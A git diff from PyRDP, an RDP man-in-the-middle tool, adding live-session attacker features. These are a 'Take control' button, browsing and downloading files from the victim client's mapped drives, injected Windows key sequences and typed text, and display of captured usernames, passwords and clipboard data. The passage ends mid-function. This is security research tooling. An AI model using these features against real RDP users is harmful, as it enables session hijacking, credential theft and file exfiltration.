AttackerBar(QWidget): + """ + Bar that contains widgets for live session actions. + """ + + controlTaken = Signal() + controlReleased = Signal() + + def __init__(self, parent: QWidget = None): + super().__init__(parent) + + self.log = logging.getLogger(LOGGER_NAMES.PLAYER) + + self.attackButton = PlayPauseButton(playText = "Take control", pauseText = "Release control") + self.attackButton.clicked.connect(self.onAttackButtonClicked) + + horizontal = QHBoxLayout() + horizontal.addWidget(self.attackButton) + horizontal.addItem(QSpacerItem(1, 1, QSizePolicy.Expanding, QSizePolicy.Minimum)) + + self.setLayout(horizontal) + + def onAttackButtonClicked(self): + if self.attackButton.playing: + self.log.debug("Attacker has taken control") + self.controlTaken.emit() + else: + self.log.debug("Attacker has released control") + self.controlReleased.emit() diff --git a/pyrdp/player/BaseTab.py b/pyrdp/player/BaseTab.py index 9b0f768c8..316274d46 100644 --- a/pyrdp/player/BaseTab.py +++ b/pyrdp/player/BaseTab.py @@ -3,6 +3,7 @@ # Copyright (C) 2018 GoSecure Inc. # Licensed under the GPLv3 or later. # + import logging from PySide2.QtCore import Qt @@ -34,8 +35,9 @@ def __init__(self, viewer: QRemoteDesktop, parent: QWidget = None): scrollViewer = QScrollArea() scrollViewer.setWidget(self.widget) - layout = QVBoxLayout() - layout.addWidget(scrollViewer, 8) - layout.addWidget(self.text, 2) - self.setLayout(layout) + self.tabLayout = QVBoxLayout() + self.tabLayout.addWidget(scrollViewer, 8) + self.tabLayout.addWidget(self.text, 2) + + self.setLayout(self.tabLayout) diff --git a/pyrdp/player/BaseWindow.py b/pyrdp/player/BaseWindow.py index 1f6f174c0..356a307ab 100644 --- a/pyrdp/player/BaseWindow.py +++ b/pyrdp/player/BaseWindow.py @@ -6,8 +6,7 @@ import logging -from PySide2.QtGui import QKeySequence -from PySide2.QtWidgets import QShortcut, QTabWidget, QWidget +from PySide2.QtWidgets import QTabWidget, QWidget from pyrdp.logging import LOGGER_NAMES @@ -20,16 +19,11 @@ class BaseWindow(QTabWidget): def __init__(self, parent: QWidget = None, maxTabCount = 250): super().__init__(parent) - self.closeTabShortcut = QShortcut(QKeySequence("Ctrl+W"), self, self.closeCurrentTab) self.maxTabCount = maxTabCount self.setTabsClosable(True) self.tabCloseRequested.connect(self.onTabClosed) self.log = logging.getLogger(LOGGER_NAMES.PLAYER) - def closeCurrentTab(self): - if self.count() > 0: - self.onTabClosed(self.currentIndex()) - def onTabClosed(self, index): """ Gracefully closes the tab by calling the onClose method diff --git a/pyrdp/player/FileDownloadDialog.py b/pyrdp/player/FileDownloadDialog.py new file mode 100644 index 000000000..4da9ea4d7 --- /dev/null +++ b/pyrdp/player/FileDownloadDialog.py @@ -0,0 +1,83 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# +from PySide2.QtCore import QObject, Qt +from PySide2.QtGui import QCloseEvent +from PySide2.QtWidgets import QDialog, QLabel, QMessageBox, QProgressBar, QVBoxLayout + + +class FileDownloadDialog(QDialog): + def __init__(self, remotePath: str, targetPath: str, parent: QObject): + super().__init__(parent, Qt.CustomizeWindowHint | Qt.WindowTitleHint) + self.titleLabel = QLabel(f"Downloading {remotePath} to {targetPath}") + + self.progressBar = QProgressBar() + self.progressBar.setMinimum(0) + self.progressBar.setMaximum(0) + self.actualProgress = 0 + self.actualMaximum = 0 + self.isComplete = False + + self.progressLabel = QLabel("0 bytes") + + self.widgetLayout = QVBoxLayout() + self.widgetLayout.addWidget(self.titleLabel) + self.widgetLayout.addWidget(self.progressBar) + self.widgetLayout.addWidget(self.progressLabel) + + self.setLayout(self.widgetLayout) + self.setModal(True) + + def getHumanReadableSize(self, size: int): + prefixes = ["", "K", "M", "G"] + + while len(prefixes) > 1: + if size < 1024: + break + + prefixes.pop(0) + size /= 1024 + + return f"{'%.2f' % size if size % 1 != 0 else int(size)} {prefixes[0]}" + + def updateProgress(self): + progress = self.getHumanReadableSize(self.actualProgress) + + if self.actualMaximum > 0: + percentage = int(self.actualProgress / self.actualMaximum * 100) + maximum = self.getHumanReadableSize(self.actualMaximum) + + self.progressBar.setValue(percentage) + self.progressLabel.setText(f"{progress}B / {maximum}B ({percentage}%)") + else: + self.progressBar.setValue(0) + self.progressLabel.setText(f"{progress}B") + + def reportSize(self, maximum: int): + self.actualMaximum = maximum + + if self.actualMaximum == 0: + self.progressBar.setMaximum(0) + else: + self.progressBar.setMaximum(100) + + self.updateProgress() + + def reportProgress(self, progress: int): + self.actualProgress = progress + self.updateProgress() + + def reportCompletion(self, error: int): + if error == 0: + QMessageBox.information(self, "Download Complete", "Download completed successfully.") + else: + QMessageBox.critical(self, "Download Complete", f"Download failed. Error code: {'0x%08lx' % error}") + + self.isComplete = True + self.close() + + def closeEvent(self, event: QCloseEvent): + if not self.isComplete: + event.ignore() \ No newline at end of file diff --git a/pyrdp/player/FileSystemItem.py b/pyrdp/player/FileSystemItem.py new file mode 100644 index 000000000..6a5d129bd --- /dev/null +++ b/pyrdp/player/FileSystemItem.py @@ -0,0 +1,54 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# +from typing import Dict + +from PySide2.QtCore import QObject +from PySide2.QtGui import QIcon +from PySide2.QtWidgets import QFileIconProvider, QListWidgetItem + +from pyrdp.player.filesystem import FileSystemItemType + + +class FileSystemItem(QListWidgetItem): + _iconCache: Dict[QFileIconProvider.IconType, QIcon] = {} + + def __init__(self, name: str, itemType: FileSystemItemType, parent: QObject = None): + if itemType == FileSystemItemType.Drive: + iconType = QFileIconProvider.IconType.Drive + elif itemType == FileSystemItemType.Directory: + iconType = QFileIconProvider.IconType.Folder + else: + iconType = QFileIconProvider.IconType.File + + icon = FileSystemItem._iconCache.get(iconType, None) + + if icon is None: + icon = QFileIconProvider().icon(iconType) + FileSystemItem._iconCache[iconType] = icon + + super().__init__(icon, name, parent) + self.itemType = itemType + + def isDirectory(self) -> bool: + return self.itemType == FileSystemItemType.Directory + + def isDrive(self) -> bool: + return self.itemType == FileSystemItemType.Drive + + def isFile(self) -> bool: + return self.itemType == FileSystemItemType.File + + def __lt__(self, other: 'FileSystemItem'): + if self.text() == ".." and self.isDirectory(): + return True + + if self.isDrive() != other.isDrive(): + return self.isDrive() + + if self.isDirectory() != other.isDirectory(): + return self.isDirectory() + + return self.text().upper() < other.text().upper() \ No newline at end of file diff --git a/pyrdp/player/FileSystemWidget.py b/pyrdp/player/FileSystemWidget.py new file mode 100644 index 000000000..e5974de6b --- /dev/null +++ b/pyrdp/player/FileSystemWidget.py @@ -0,0 +1,196 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + +from pathlib import Path +from typing import Optional + +from PySide2.QtCore import QObject, QPoint, Qt, Signal +from PySide2.QtWidgets import QAction, QFileDialog, QFrame, QLabel, QListWidget, QMenu, QVBoxLayout, QWidget + +from pyrdp.player.FileDownloadDialog import FileDownloadDialog +from pyrdp.player.filesystem import Directory, DirectoryObserver, File, FileSystemItemType +from pyrdp.player.FileSystemItem import FileSystemItem + + +class FileSystemWidget(QWidget, DirectoryObserver): + """ + Widget for listing directory contents and download files from the RDP client. + """ + + # fileDownloadRequested(file, targetPath, dialog) + fileDownloadRequested = Signal(File, str, FileDownloadDialog) + + def __init__(self, root: Directory, parent: QObject = None): + """ + :param root: root of all directories. Directories in root will be displayed with drive icons. + :param parent: parent object. + """ + + super().__init__(parent) + self.root = root + self.breadcrumbLabel = QLabel() + + self.titleLabel = QLabel() + self.titleLabel.setStyleSheet("font-weight: bold") + + self.titleSeparator: QFrame = QFrame() + self.titleSeparator.setFrameShape(QFrame.HLine) + + self.listWidget = QListWidget() + self.listWidget.setSortingEnabled(True) + self.listWidget.setContextMenuPolicy(Qt.CustomContextMenu) + self.listWidget.customContextMenuRequested.connect(self.onCustomContextMenu) + + self.verticalLayout = QVBoxLayout() + self.verticalLayout.addWidget(self.breadcrumbLabel) + self.verticalLayout.addWidget(self.listWidget) + + self.setLayout(self.verticalLayout) + self.listWidget.itemDoubleClicked.connect(self.onItemDoubleClicked) + + self.currentPath: Path = Path("/") + self.currentDirectory: Directory = root + self.listCurrentDirectory() + + self.currentDirectory.addObserver(self) + + def setWindowTitle(self, title: str): + """ + Set the window title. When the title is not blank, a title label and a separator is displayed. + :param title: the new title. + """ + + previousTitle = self.windowTitle() + + super().setWindowTitle(title) + + self.titleLabel.setText(title) + + if previousTitle == "" and title != "": + self.verticalLayout.insertWidget(0, self.titleLabel) + self.verticalLayout.insertWidget(1, self.titleSeparator) + elif title == "" and previousTitle != "": + self.verticalLayout.removeWidget(self.titleLabel) + self.verticalLayout.removeWidget(self.titleSeparator) + + # noinspection PyTypeChecker + self.titleLabel.setParent(None) + + # noinspection PyTypeChecker + self.titleSeparator.setParent(None) + + def onItemDoubleClicked(self, item: FileSystemItem): + """ + Handle double-clicks on items in the list. When the item is a directory, the current path changes and the + contents of the directory are listed. Files are ignored. + :param item: the item that was clicked. + """ + + if not item.isDirectory() and not item.isDrive(): + return + + if item.text() == "..": + self.currentPath = self.currentPath.parent + else: + self.currentPath = self.currentPath / item.text() + + self.listCurrentDirectory() + + def listCurrentDirectory(self): + """ + Refresh the list widget with the current directory's contents. + """ + + node = self.root + + for part in self.currentPath.parts[1 :]: + node = next(d for d in node.directories if d.name == part) + + self.listWidget.clear() + self.breadcrumbLabel.setText(f"Location: {str(self.currentPath)}") + + if node != self.root: + self.listWidget.addItem(FileSystemItem("..", FileSystemItemType.Directory)) + + for directory in node.directories: + self.listWidget.addItem(FileSystemItem(directory.name, directory.type)) + + for file in node.files: + self.listWidget.addItem(FileSystemItem(file.name, file.type)) + + if node is not self.currentDirectory: + self.currentDirectory.removeObserver(self) + node.addObserver(self) + self.currentDirectory = node + node.list() + + def onDirectoryChanged(self): + """ + Refresh the directory view when the directory has changed. + """ + + self.listCurrentDirectory() + + def currentItemText(self) -> str: + try: + return self.listWidget.selectedItems()[0].text() + except IndexError: + return "" + + def selectedFile(self) -> Optional[File]: + text = self.currentItemText() + + if text == "": + return None + + if text == "..": + return self.currentDirectory.parent + + for sequence in [self.currentDirectory.files, self.currentDirectory.directories]: + for file in sequence: + if text == file.name: + return file + + return None + + def canDownloadSelectedItem(self) -> bool: + return self.selectedFile().type == FileSystemItemType.File + + def onCustomContextMenu(self, localPosition: QPoint): + """ + Show a custom context menu with a "Download file" action when a file is right-clicked. + :param localPosition: position where the user clicked. + """ + selectedFile = self.selectedFile() + + if selectedFile is None: + return + + globalPosition = self.listWidget.mapToGlobal(localPosition) + + downloadAction = QAction("Download file") + downloadAction.setEnabled(selectedFile.type in [FileSystemItemType.File]) + downloadAction.triggered.connect(self.downloadFile) + + itemMenu = QMenu() + itemMenu.addAction(downloadAction) + + itemMenu.exec_(globalPosition) + + def downloadFile(self): + file = self.selectedFile() + + if file.type != FileSystemItemType.File: + return + + filePath = file.getFullPath() + targetPath, _ = QFileDialog.getSaveFileName(self, f"Download file {filePath}", file.name) + + if targetPath != "": + dialog = FileDownloadDialog(filePath, targetPath, self) + dialog.show() + + self.fileDownloadRequested.emit(file, targetPath, dialog) \ No newline at end of file diff --git a/pyrdp/player/LiveEventHandler.py b/pyrdp/player/LiveEventHandler.py new file mode 100644 index 000000000..8633f7c45 --- /dev/null +++ b/pyrdp/player/LiveEventHandler.py @@ -0,0 +1,151 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# +from logging import LoggerAdapter +from pathlib import Path, PosixPath +from typing import BinaryIO, Dict + +from PySide2.QtWidgets import QTextEdit + +from pyrdp.enum import DeviceType, PlayerPDUType +from pyrdp.layer import PlayerLayer +from pyrdp.pdu import PlayerDeviceMappingPDU, PlayerDirectoryListingRequestPDU, PlayerDirectoryListingResponsePDU, \ + PlayerFileDownloadCompletePDU, PlayerFileDownloadRequestPDU, PlayerFileDownloadResponsePDU +from pyrdp.player.FileDownloadDialog import FileDownloadDialog +from pyrdp.player.filesystem import DirectoryObserver, Drive, File, FileSystem, FileSystemItemType +from pyrdp.player.PlayerEventHandler import PlayerEventHandler +from pyrdp.ui import QRemoteDesktop + + +class LiveEventHandler(PlayerEventHandler, DirectoryObserver): + """ + Event handler used for live connections. Handles the same events as the replay handler, plus directory listing and + file read events. + """ + + def __init__(self, viewer: QRemoteDesktop, text: QTextEdit, log: LoggerAdapter, fileSystem: FileSystem, layer: PlayerLayer): + super().__init__(viewer, text) + self.log = log + self.fileSystem = fileSystem + self.layer = layer + self.drives: Dict[int, Drive] = {} + self.downloadFiles: Dict[str, BinaryIO] = {} + self.downloadDialogs: Dict[str, FileDownloadDialog] = {} + + self.handlers[PlayerPDUType.DIRECTORY_LISTING_RESPONSE] = self.handleDirectoryListingResponse + self.handlers[PlayerPDUType.FILE_DOWNLOAD_RESPONSE] = self.handleDownloadResponse + self.handlers[PlayerPDUType.FILE_DOWNLOAD_COMPLETE] = self.handleDownloadComplete + + def onDeviceMapping(self, pdu: PlayerDeviceMappingPDU): + super().onDeviceMapping(pdu) + + if pdu.deviceType == DeviceType.RDPDR_DTYP_FILESYSTEM: + drive = self.fileSystem.addDrive(pdu.name, pdu.deviceID) + drive.addObserver(self) + self.drives[drive.deviceID] = drive + + def onListDirectory(self, deviceID: int, path: str): + request = PlayerDirectoryListingRequestPDU(self.layer.getCurrentTimeStamp(), deviceID, path) + self.layer.sendPDU(request) + + def handleDirectoryListingResponse(self, response: PlayerDirectoryListingResponsePDU): + for description in response.fileDescriptions: + path = PosixPath(description.path) + parts = path.parts + directoryNames = list(parts[1 : -1]) + fileName = path.name + + if fileName in ["", ".", ".."]: + continue + + drive = self.drives[response.deviceID] + + currentDirectory = drive + while len(directoryNames) > 0: + currentName = directoryNames.pop(0) + + newDirectory = None + + for directory in currentDirectory.directories: + if directory.name == currentName: + newDirectory = directory + break + + if newDirectory is None: + return + + currentDirectory = newDirectory + + if description.isDirectory: + currentDirectory.addDirectory(fileName) + else: + currentDirectory.addFile(fileName) + + def onFileDownloadRequested(self, file: File, targetPath: str, dialog: FileDownloadDialog): + remotePath = file.getFullPath() + + self.log.info("Saving %(remotePath)s to %(targetPath)s", {"remotePath": remotePath, "targetPath": targetPath}) + parent = file.parent + + if parent is None: + self.log.error("Cannot save file without drive information.") + return + + while parent.parent is not None: + parent = parent.parent + + if parent.type != FileSystemItemType.Drive: + self.log.error("Cannot save file: root parent is not a drive.") + return + + try: + targetFile = open(targetPath, "wb") + except Exception as e: + self.log.error("Cannot save file: %(exception)s", {"exception": str(e)}) + return + + self.downloadFiles[remotePath] = targetFile + self.downloadDialogs[remotePath] = dialog + + pdu = PlayerFileDownloadRequestPDU(self.layer.getCurrentTimeStamp(), parent.deviceID, file.getFullPath()) + self.layer.sendPDU(pdu) + + def handleDownloadResponse(self, response: PlayerFileDownloadResponsePDU): + remotePath = response.path + + if remotePath not in self.downloadFiles: + return + + targetFile = self.downloadFiles[remotePath] + targetFile.write(response.payload) + + dialog = self.downloadDialogs[remotePath] + dialog.reportProgress(response.offset + len(response.payload)) + + def handleDownloadComplete(self, response: PlayerFileDownloadCompletePDU): + remotePath = response.path + + if remotePath not in self.downloadFiles: + return + + dialog = self.downloadDialogs.pop(remotePath) + dialog.reportCompletion(response.error) + + targetFile = self.downloadFiles.pop(remotePath) + targetFileName = targetFile.name + targetFile.close() + + if response.error != 0: + self.log.error("Error happened when downloading %(remotePath)s. The file may not have been saved completely. Error code: %(errorCode)s", { + "remotePath": remotePath, + "errorCode": "0x%08lx", + }) + + try: + Path(targetFileName).unlink() + except Exception as e: + self.log.error("Error when deleting file %(path)s: %(exception)s", {"path": targetFileName, "exception": str(e)}) + else: + self.log.info("Download %(path)s complete.", {"path": targetFile.name}) \ No newline at end of file diff --git a/pyrdp/player/LiveTab.py b/pyrdp/player/LiveTab.py index 6ca4a0203..8d1e8ef02 100644 --- a/pyrdp/player/LiveTab.py +++ b/pyrdp/player/LiveTab.py @@ -4,16 +4,21 @@ # Licensed under the GPLv3 or later. # -from PySide2.QtCore import Signal -from PySide2.QtWidgets import QWidget +import asyncio -from pyrdp.layer import AsyncIOTCPLayer, LayerChainItem, PlayerMessageLayer -from pyrdp.player.PlayerMessageHandler import PlayerMessageHandler +from PySide2.QtCore import Qt, Signal +from PySide2.QtWidgets import QHBoxLayout, QWidget + +from pyrdp.player.AttackerBar import AttackerBar from pyrdp.player.BaseTab import BaseTab -from pyrdp.ui import QRemoteDesktop +from pyrdp.player.filesystem import DirectoryObserver, FileSystem +from pyrdp.player.FileSystemWidget import FileSystemWidget +from pyrdp.player.LiveEventHandler import LiveEventHandler +from pyrdp.mitm.PlayerLayerSet import AsyncIOPlayerLayerSet +from pyrdp.player.RDPMITMWidget import RDPMITMWidget -class LiveTab(BaseTab): +class LiveTab(BaseTab, DirectoryObserver): """ Tab playing a live RDP connection as data is being received over the network. """ @@ -21,19 +26,44 @@ class LiveTab(BaseTab): connectionClosed = Signal(object) def __init__(self, parent: QWidget = None): - super().__init__(QRemoteDesktop(1024, 768), parent) - self.tcp = AsyncIOTCPLayer() - self.player = PlayerMessageLayer() - self.eventHandler = PlayerMessageHandler(self.widget, self.text) + layers = AsyncIOPlayerLayerSet() + rdpWidget = RDPMITMWidget(1024, 768, layers.player) + + super().__init__(rdpWidget, parent) + self.layers = layers + self.rdpWidget = rdpWidget + self.fileSystem = FileSystem() + self.eventHandler = LiveEventHandler(self.widget, self.text, self.log, self.fileSystem, self.layers.player) + self.attackerBar = AttackerBar() + + self.attackerBar.controlTaken.connect(lambda: self.rdpWidget.setControlState(True)) + self.attackerBar.controlReleased.connect(lambda: self.rdpWidget.setControlState(False)) + + self.fileSystemWidget = FileSystemWidget(self.fileSystem) + self.fileSystemWidget.setWindowTitle("Client drives") + self.fileSystemWidget.fileDownloadRequested.connect(self.eventHandler.onFileDownloadRequested) - LayerChainItem.chain(self.tcp, self.player) - self.player.addObserver(self.eventHandler) + self.attackerLayout = QHBoxLayout() + self.attackerLayout.addWidget(self.fileSystemWidget, 20) + self.attackerLayout.addWidget(self.text, 80) - def getProtocol(self): - return self.tcp + self.tabLayout.insertWidget(0, self.attackerBar) + self.tabLayout.removeWidget(self.text) + self.tabLayout.addLayout(self.attackerLayout) + + self.layers.player.addObserver(self.eventHandler) + + def getProtocol(self) -> asyncio.Protocol: + return self.layers.tcp def onDisconnection(self): self.connectionClosed.emit() def onClose(self): - self.tcp.disconnect(True) + self.layers.tcp.disconnect(True) + + def sendKeySequence(self, keys: [Qt.Key]): + self.rdpWidget.sendKeySequence(keys) + + def sendText(self, text: str): + self.rdpWidget.sendText(text) \ No newline at end of file diff --git a/pyrdp/player/LiveWindow.py b/pyrdp/player/LiveWindow.py index b322e011f..b420998c4 100644 --- a/pyrdp/player/LiveWindow.py +++ b/pyrdp/player/LiveWindow.py @@ -1,6 +1,13 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + +import asyncio from queue import Queue -from PySide2.QtCore import Signal +from PySide2.QtCore import Signal, Qt from PySide2.QtWidgets import QApplication, QWidget from pyrdp.player.BaseWindow import BaseWindow @@ -14,7 +21,7 @@ class LiveWindow(BaseWindow): """ connectionReceived = Signal() - def __init__(self, address, port, parent: QWidget = None): + def __init__(self, address: str, port: int, parent: QWidget = None): super().__init__(parent) QApplication.instance().aboutToQuit.connect(self.onClose) @@ -23,7 +30,7 @@ def __init__(self, address, port, parent: QWidget = None): self.connectionReceived.connect(self.createLivePlayerTab) self.queue = Queue() - def onConnection(self): + def onConnection(self) -> asyncio.Protocol: self.connectionReceived.emit() tab = self.queue.get() return tab.getProtocol() @@ -35,10 +42,22 @@ def createLivePlayerTab(self): self.setCurrentIndex(self.count() - 1) self.queue.put(tab) - def onConnectionClosed(self, tab): + def onConnectionClosed(self, tab: LiveTab): index = self.indexOf(tab) text = self.tabText(index) self.setTabText(index, text + " - Closed") def onClose(self): - self.server.stop() \ No newline at end of file + self.server.stop() + + def sendKeySequence(self, keys: [Qt.Key]): + tab: LiveTab = self.currentWidget() + + if tab is not None: + tab.sendKeySequence(keys) + + def sendText(self, text: str): + tab: LiveTab = self.currentWidget() + + if tab is not None: + tab.sendText(text) \ No newline at end of file diff --git a/pyrdp/player/MainWindow.py b/pyrdp/player/MainWindow.py index 5b4653845..f0341fd9c 100644 --- a/pyrdp/player/MainWindow.py +++ b/pyrdp/player/MainWindow.py @@ -4,7 +4,8 @@ # Licensed under the GPLv3 or later. # -from PySide2.QtWidgets import QAction, QFileDialog, QMainWindow, QTabWidget +from PySide2.QtCore import Qt +from PySide2.QtWidgets import QAction, QFileDialog, QMainWindow, QTabWidget, QInputDialog from pyrdp.player.LiveWindow import LiveWindow from pyrdp.player.ReplayWindow import ReplayWindow @@ -27,8 +28,8 @@ def __init__(self, bind_address: str, port: int, filesToRead: [str]): self.replayWindow = ReplayWindow() self.tabManager = QTabWidget() - self.tabManager.addTab(self.replayWindow, "Replays") self.tabManager.addTab(self.liveWindow, "Live connections") + self.tabManager.addTab(self.replayWindow, "Replays") self.setCentralWidget(self.tabManager) openAction = QAction("Open...", self) @@ -36,10 +37,37 @@ def __init__(self, bind_address: str, port: int, filesToRead: [str]): openAction.setStatusTip("Open a replay file") openAction.triggered.connect(self.onOpenFile) + windowsRAction = QAction("Windows+R", self) + windowsRAction.setShortcut("Ctrl+Alt+R") + windowsRAction.setStatusTip("Send a Windows+R key sequence") + windowsRAction.triggered.connect(lambda: self.sendKeySequence([Qt.Key.Key_Meta, Qt.Key.Key_R])) + + windowsLAction = QAction("Windows+L", self) + windowsLAction.setShortcut("Ctrl+Alt+L") + windowsLAction.setStatusTip("Send a Windows+L key sequence") + windowsLAction.triggered.connect(lambda: self.sendKeySequence([Qt.Key.Key_Meta, Qt.Key.Key_L])) + + windowsEAction = QAction("Windows+E", self) + windowsEAction.setShortcut("Ctrl+Alt+E") + windowsEAction.setStatusTip("Send a Windows+E key sequence") + windowsEAction.triggered.connect(lambda: self.sendKeySequence([Qt.Key.Key_Meta, Qt.Key.Key_E])) + + typeTextAction = QAction("Type text...", self) + typeTextAction.setShortcut("Ctrl+Alt+T") + typeTextAction.setStatusTip("Simulate typing on the keyboard") + typeTextAction.triggered.connect(self.sendText) + menuBar = self.menuBar() + fileMenu = menuBar.addMenu("File") fileMenu.addAction(openAction) + commandMenu = menuBar.addMenu("Command") + commandMenu.addAction(windowsRAction) + commandMenu.addAction(windowsLAction) + commandMenu.addAction(windowsEAction) + commandMenu.addAction(typeTextAction) + for fileName in filesToRead: self.replayWindow.openFile(fileName) @@ -47,4 +75,20 @@ def onOpenFile(self): fileName, _ = QFileDialog.getOpenFileName(self, "Open File") if fileName: + self.tabManager.setCurrentWidget(self.replayWindow) self.replayWindow.openFile(fileName) + + def sendKeySequence(self, keys: [Qt.Key]): + if self.tabManager.currentWidget() is self.liveWindow: + self.liveWindow.sendKeySequence(keys) + + def sendText(self): + if self.tabManager.currentWidget() is not self.liveWindow: + return + + text, success = QInputDialog.getMultiLineText(self, "Type text...", "Text to type:") + + if not success: + return + + self.liveWindow.sendText(text) \ No newline at end of file diff --git a/pyrdp/player/PlayerEventHandler.py b/pyrdp/player/PlayerEventHandler.py new file mode 100644 index 000000000..e6abc1047 --- /dev/null +++ b/pyrdp/player/PlayerEventHandler.py @@ -0,0 +1,241 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2018 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + +from typing import Optional, Union + +from PySide2.QtGui import QTextCursor +from PySide2.QtWidgets import QTextEdit + +from pyrdp.core import decodeUTF16LE, Observer +from pyrdp.enum import BitmapFlags, CapabilityType, DeviceType, FastPathFragmentation, KeyboardFlag, ParserMode, \ + PlayerPDUType, SlowPathUpdateType +from pyrdp.logging import log +from pyrdp.parser import BasicFastPathParser, BitmapParser, ClientConnectionParser, ClientInfoParser, ClipboardParser, \ + FastPathOutputParser, SlowPathParser +from pyrdp.pdu import BitmapUpdateData, ConfirmActivePDU, FastPathBitmapEvent, FastPathMouseEvent, FastPathOutputEvent, \ + FastPathScanCodeEvent, FastPathUnicodeEvent, FormatDataResponsePDU, InputPDU, KeyboardEvent, MouseEvent, \ + PlayerDeviceMappingPDU, PlayerPDU, UpdatePDU +from pyrdp.player import keyboard +from pyrdp.ui import QRemoteDesktop, RDPBitmapToQtImage + + +class PlayerEventHandler(Observer): + """ + Class to handle events coming to the player. + """ + + def __init__(self, viewer: QRemoteDesktop, text: QTextEdit): + super().__init__() + self.viewer = viewer + self.text = text + self.shiftPressed = False + self.capsLockOn = False + self.buffer = b"" + self.handlers = { + PlayerPDUType.CLIENT_DATA: self.onClientData, + PlayerPDUType.CLIENT_INFO: self.onClientInfo, + PlayerPDUType.CONNECTION_CLOSE: self.onConnectionClose, + PlayerPDUType.CLIPBOARD_DATA: self.onClipboardData, + PlayerPDUType.SLOW_PATH_PDU: self.onSlowPathPDU, + PlayerPDUType.FAST_PATH_OUTPUT: self.onFastPathOutput, + PlayerPDUType.FAST_PATH_INPUT: self.onFastPathInput, + PlayerPDUType.DEVICE_MAPPING: self.onDeviceMapping, + } + + + def writeText(self, text: str): + self.text.moveCursor(QTextCursor.End) + self.text.insertPlainText(text) + + def writeSeparator(self): + self.writeText("\n--------------------\n") + + + def onPDUReceived(self, pdu: PlayerPDU, isMainThread = False): + if not isMainThread: + self.viewer.mainThreadHook.emit(lambda: self.onPDUReceived(pdu, True)) + return + + log.debug("Received %(pdu)s", {"pdu": pdu}) + + if pdu.header in self.handlers: + self.handlers[pdu.header](pdu) + + + def onClientData(self, pdu: PlayerPDU): + """ + Prints the clientName on the screen + """ + parser = ClientConnectionParser() + clientDataPDU = parser.parse(pdu.payload) + clientName = clientDataPDU.coreData.clientName.strip("\x00") + + self.writeSeparator() + self.writeText(f"HOST: {clientName}\n") + self.writeSeparator() + + + def onClientInfo(self, pdu: PlayerPDU): + parser = ClientInfoParser() + clientInfoPDU = parser.parse(pdu.payload) + + self.writeSeparator() + + self.writeText("USERNAME: {}\nPASSWORD: {}\nDOMAIN: {}\n".format( + clientInfoPDU.username.replace("\x00", ""), + clientInfoPDU.password.replace("\x00", ""), + clientInfoPDU.domain.replace("\x00", "") + )) + + self.writeSeparator() + + + def onConnectionClose(self, _: PlayerPDU): + self.writeText("\n") + + + def onClipboardData(self, pdu: PlayerPDU): + parser = ClipboardParser() + pdu = parser.parse(pdu.payload) + + if not isinstance(pdu, FormatDataResponsePDU): + return + + clipboardData = decodeUTF16LE(pdu.requestedFormatData) + + self.writeSeparator() + self.writeText(f"CLIPBOARD DATA: {clipboardData}") + self.writeSeparator() + + + def onSlowPathPDU(self, pdu: PlayerPDU): + parser = SlowPathParser() + pdu = parser.parse(pdu.payload) + + if isinstance(pdu, ConfirmActivePDU): + bitmapCapability = pdu.parsedCapabilitySets[CapabilityType.CAPSTYPE_BITMAP] + self.viewer.resize(bitmapCapability.desktopWidth, bitmapCapability.desktopHeight) + elif isinstance(pdu, UpdatePDU) and pdu.updateType == SlowPathUpdateType.SLOWPATH_UPDATETYPE_BITMAP: + updates = BitmapParser().parseBitmapUpdateData(pdu.updateData) + + for bitmap in updates: + self.handleBitmap(bitmap) + elif isinstance(pdu, InputPDU): + for event in pdu.events: + if isinstance(event, MouseEvent): + self.onMousePosition(event.x, event.y) + elif isinstance(event, KeyboardEvent): + self.onScanCode(event.keyCode, event.flags & KeyboardFlag.KBDFLAGS_DOWN == 0, event.flags & KeyboardFlag.KBDFLAGS_EXTENDED != 0) + + + def onFastPathOutput(self, pdu: PlayerPDU): + parser = BasicFastPathParser(ParserMode.CLIENT) + pdu = parser.parse(pdu.payload) + + for event in pdu.events: + reassembledEvent = self.reassembleEvent(event) + + if reassembledEvent is not None: + if isinstance(reassembledEvent, FastPathBitmapEvent): + self.onFastPathBitmap(reassembledEvent) + + def reassembleEvent(self, event: FastPathOutputEvent) -> Optional[Union[FastPathBitmapEvent, FastPathOutputEvent]]: + """ + Handles FastPath event reassembly as described in + https://msdn.microsoft.com/en-us/library/cc240622.aspx + :param event: A potentially segmented fastpath output event + :return: a FastPathBitmapEvent if a complete PDU has been reassembled, otherwise None. If the event is not + fragmented, it is returned as is. + """ + fragmentationFlag = FastPathFragmentation((event.header & 0b00110000) >> 4) + + if fragmentationFlag == FastPathFragmentation.FASTPATH_FRAGMENT_SINGLE: + return event + elif fragmentationFlag == FastPathFragmentation.FASTPATH_FRAGMENT_FIRST: + self.buffer = event.payload + elif fragmentationFlag == FastPathFragmentation.FASTPATH_FRAGMENT_NEXT: + self.buffer += event.payload + elif fragmentationFlag == FastPathFragmentation.FASTPATH_FRAGMENT_LAST: + self.buffer += event.payload + event.payload = self.buffer + + return FastPathOutputParser().parseBitmapEvent(event) + + return None + + def onFastPathBitmap(self, event: FastPathBitmapEvent): + parser = FastPathOutputParser() + parsedEvent = parser.parseBitmapEvent(event) + + for bitmapData in parsedEvent.bitmapUpdateData: + self.handleBitmap(bitmapData) + + + def onFastPathInput(self, pdu: PlayerPDU): + parser = BasicFastPathParser(ParserMode.SERVER) + pdu = parser.parse(pdu.payload) + + for event in pdu.events: + if isinstance(event, FastPathUnicodeEvent): + if not event.released: + self.onUnicode(event) + elif isinstance(event, FastPathMouseEvent): + self.onMouse(event) + elif isinstance(event, FastPathScanCodeEvent): + self.onScanCode(event.scanCode, event.isReleased, event.rawHeaderByte & 2 != 0) + + + def onUnicode(self, event: FastPathUnicodeEvent): + self.writeText(str(event.text)) + + + def onMouse(self, event: FastPathMouseEvent): + self.onMousePosition(event.mouseX, event.mouseY) + + def onMousePosition(self, x: int, y: int): + 